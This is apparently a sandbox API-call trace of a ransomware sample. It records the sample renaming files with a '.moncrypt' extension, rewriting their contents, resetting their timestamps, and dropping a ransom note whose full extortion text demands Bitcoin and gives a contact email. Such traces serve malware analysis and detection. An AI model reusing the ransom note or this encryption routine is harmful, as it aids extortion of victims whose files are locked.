CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.107] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.107] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.107] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.107] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.107] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.107] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.107] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0051.107] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG", cchWideChar=76, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNGp", lpUsedDefaultChar=0x0) returned 76 [0051.107] CharLowerBuffW (in: lpsz=".PNG", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0051.107] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngShared\\THEMES14\\CASCADE\\THMBNAIL.PNGp", lpUsedDefaultChar=0x0) returned 4 [0051.107] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4f93, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0x54e240 [0051.107] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0051.107] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0051.108] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0051.108] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG", dwFileAttributes=0x20) returned 1 [0051.108] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0051.108] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png.moncrypt")) returned 1 [0051.109] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0051.109] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0051.109] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x4f93 [0051.109] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0051.109] ReadFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e6f4*=0x4000, lpOverlapped=0x0) returned 1 [0051.111] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.111] GlobalLock (hMem=0x440004) returned 0x55bb88 [0051.111] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0051.111] GlobalUnlock (hMem=0x440004) returned 0 [0051.111] GlobalReAlloc (hMem=0x440004, dwBytes=0x4000, uFlags=0x2) returned 0x440004 [0051.112] GlobalLock (hMem=0x440004) returned 0x55bb88 [0051.112] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0051.112] GlobalUnlock (hMem=0x440004) returned 0 [0051.112] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0051.112] GlobalLock (hMem=0x440004) returned 0x55bb88 [0051.112] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.112] GlobalUnlock (hMem=0x44000c) returned 0 [0051.112] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0051.112] GlobalUnlock (hMem=0x440004) returned 0 [0051.112] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.112] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.112] GlobalUnlock (hMem=0x440004) returned 0 [0051.112] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0051.112] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.112] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.112] GlobalUnlock (hMem=0x440004) returned 0 [0051.112] ReadFile (in: hFile=0x18c, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18e6f4*=0x20, lpOverlapped=0x0) returned 1 [0051.112] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x0 [0051.112] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18e6f0*=0x4020, lpOverlapped=0x0) returned 1 [0051.112] SetFilePointer (in: hFile=0x18c, lDistanceToMove=20371, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x4f93 [0051.112] WriteFile (in: hFile=0x18c, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18e6f0*=0x20, lpOverlapped=0x0) returned 1 [0051.113] WriteFile (in: hFile=0x18c, lpBuffer=0x18e76c*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x18e76c*, lpNumberOfBytesWritten=0x18e6f0*=0x8, lpOverlapped=0x0) returned 1 [0051.113] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d88*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61d88*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0051.124] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18e6f0*=0x9c, lpOverlapped=0x0) returned 1 [0051.124] CloseHandle (hObject=0x18c) returned 1 [0051.124] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0051.125] SetFileTime (hFile=0x18c, lpCreationTime=0x18e794, lpLastAccessTime=0x18e78c, lpLastWriteTime=0x18e784) returned 1 [0051.125] CloseHandle (hObject=0x18c) returned 1 [0051.125] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG.moncrypt", dwFileAttributes=0x20) returned 1 [0051.125] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18da28, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0051.125] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.125] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.125] GlobalUnlock (hMem=0x440004) returned 0 [0051.125] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.125] GlobalLock (hMem=0x44000c) returned 0x557b88 [0051.125] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.125] GlobalUnlock (hMem=0x440004) returned 0 [0051.125] GlobalHandle (pMem=0x557b88) returned 0x44000c [0051.125] GlobalUnlock (hMem=0x44000c) returned 0 [0051.126] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0051.126] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e7dc | out: lpFindFileData=0x18e7dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fb3f7e0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x3fb3f7e0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3fb3f7e0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e240 [0051.126] FileTimeToLocalFileTime (in: lpFileTime=0x18e7f0, lpLocalFileTime=0x18e770 | out: lpLocalFileTime=0x18e770) returned 1 [0051.126] FileTimeToDosDateTime (in: lpFileTime=0x18e770, lpFatDate=0x18e7be, lpFatTime=0x18e7bc | out: lpFatDate=0x18e7be, lpFatTime=0x18e7bc) returned 1 [0051.126] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0051.126] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0051.126] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0051.126] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0051.126] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0051.126] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0051.126] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0051.126] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0051.126] ReadFile (in: hFile=0x18c, lpBuffer=0x1dccd48, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18e9e8, lpOverlapped=0x0 | out: lpBuffer=0x1dccd48*, lpNumberOfBytesRead=0x18e9e8*=0x649, lpOverlapped=0x0) returned 1 [0051.126] CloseHandle (hObject=0x18c) returned 1 [0051.127] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4f93, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0051.127] GetLastError () returned 0x12 [0051.127] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0051.127] GlobalLock (hMem=0x44000c) returned 0x550170 [0051.127] GlobalHandle (pMem=0x550170) returned 0x44000c [0051.127] GlobalUnlock (hMem=0x44000c) returned 0 [0051.127] GlobalLock (hMem=0x44000c) returned 0x550170 [0051.127] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.127] GlobalHandle (pMem=0x550170) returned 0x44000c [0051.127] GlobalUnlock (hMem=0x44000c) returned 0 [0051.127] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.127] GlobalUnlock (hMem=0x440004) returned 0 [0051.127] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c50cb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x3fb65940, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3fb65940, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0051.127] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0051.127] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.127] GlobalLock (hMem=0x440004) returned 0x550170 [0051.127] GlobalHandle (pMem=0x550170) returned 0x440004 [0051.127] GlobalUnlock (hMem=0x440004) returned 0 [0051.127] GlobalLock (hMem=0x440004) returned 0x550170 [0051.127] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.127] GlobalHandle (pMem=0x550170) returned 0x440004 [0051.127] GlobalUnlock (hMem=0x440004) returned 0 [0051.127] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.127] GlobalUnlock (hMem=0x44000c) returned 0 [0051.128] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.128] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c50cb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x3fb65940, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3fb65940, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.128] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0051.128] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.128] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.128] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.128] GlobalUnlock (hMem=0x44000c) returned 0 [0051.128] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.128] GlobalLock (hMem=0x440004) returned 0x557b88 [0051.128] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.128] GlobalUnlock (hMem=0x44000c) returned 0 [0051.128] GlobalHandle (pMem=0x557b88) returned 0x440004 [0051.128] GlobalUnlock (hMem=0x440004) returned 0 [0051.128] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.128] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xede9bc00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51c50cb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xede9bc00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xbb09, dwReserved0=0x0, dwReserved1=0x0, cFileName="CASCADE.ELM.moncrypt", cAlternateFileName="CASCAD~1.MON")) returned 1 [0051.128] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0051.128] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.128] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.128] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.128] GlobalUnlock (hMem=0x440004) returned 0 [0051.128] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.128] GlobalLock (hMem=0x44000c) returned 0x557b88 [0051.128] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.128] GlobalUnlock (hMem=0x440004) returned 0 [0051.128] GlobalHandle (pMem=0x557b88) returned 0x44000c [0051.128] GlobalUnlock (hMem=0x44000c) returned 0 [0051.128] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.129] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x51c50cb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x262, dwReserved0=0x0, dwReserved1=0x0, cFileName="CASCADE.INF", cAlternateFileName="")) returned 1 [0051.129] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0051.129] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.129] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.129] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.129] GlobalUnlock (hMem=0x44000c) returned 0 [0051.129] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.129] GlobalLock (hMem=0x440004) returned 0x557b88 [0051.129] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.129] GlobalUnlock (hMem=0x44000c) returned 0 [0051.129] GlobalHandle (pMem=0x557b88) returned 0x440004 [0051.129] GlobalUnlock (hMem=0x440004) returned 0 [0051.129] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.129] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fb3f7e0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x3fb3f7e0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3fb3f7e0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 1 [0051.129] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0051.129] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.129] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.129] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.129] GlobalUnlock (hMem=0x440004) returned 0 [0051.129] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.129] GlobalLock (hMem=0x44000c) returned 0x557b88 [0051.129] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.129] GlobalUnlock (hMem=0x440004) returned 0 [0051.129] GlobalHandle (pMem=0x557b88) returned 0x44000c [0051.129] GlobalUnlock (hMem=0x44000c) returned 0 [0051.129] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.129] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x553, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0051.129] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0051.129] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.130] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.130] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.130] GlobalUnlock (hMem=0x44000c) returned 0 [0051.130] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.130] GlobalLock (hMem=0x440004) returned 0x557b88 [0051.130] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.130] GlobalUnlock (hMem=0x44000c) returned 0 [0051.130] GlobalHandle (pMem=0x557b88) returned 0x440004 [0051.130] GlobalUnlock (hMem=0x440004) returned 0 [0051.130] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.130] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x5058, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG.moncrypt", cAlternateFileName="THMBNA~1.MON")) returned 1 [0051.130] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0051.130] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.130] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.130] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.130] GlobalUnlock (hMem=0x440004) returned 0 [0051.130] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.130] GlobalLock (hMem=0x44000c) returned 0x557b88 [0051.130] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.130] GlobalUnlock (hMem=0x440004) returned 0 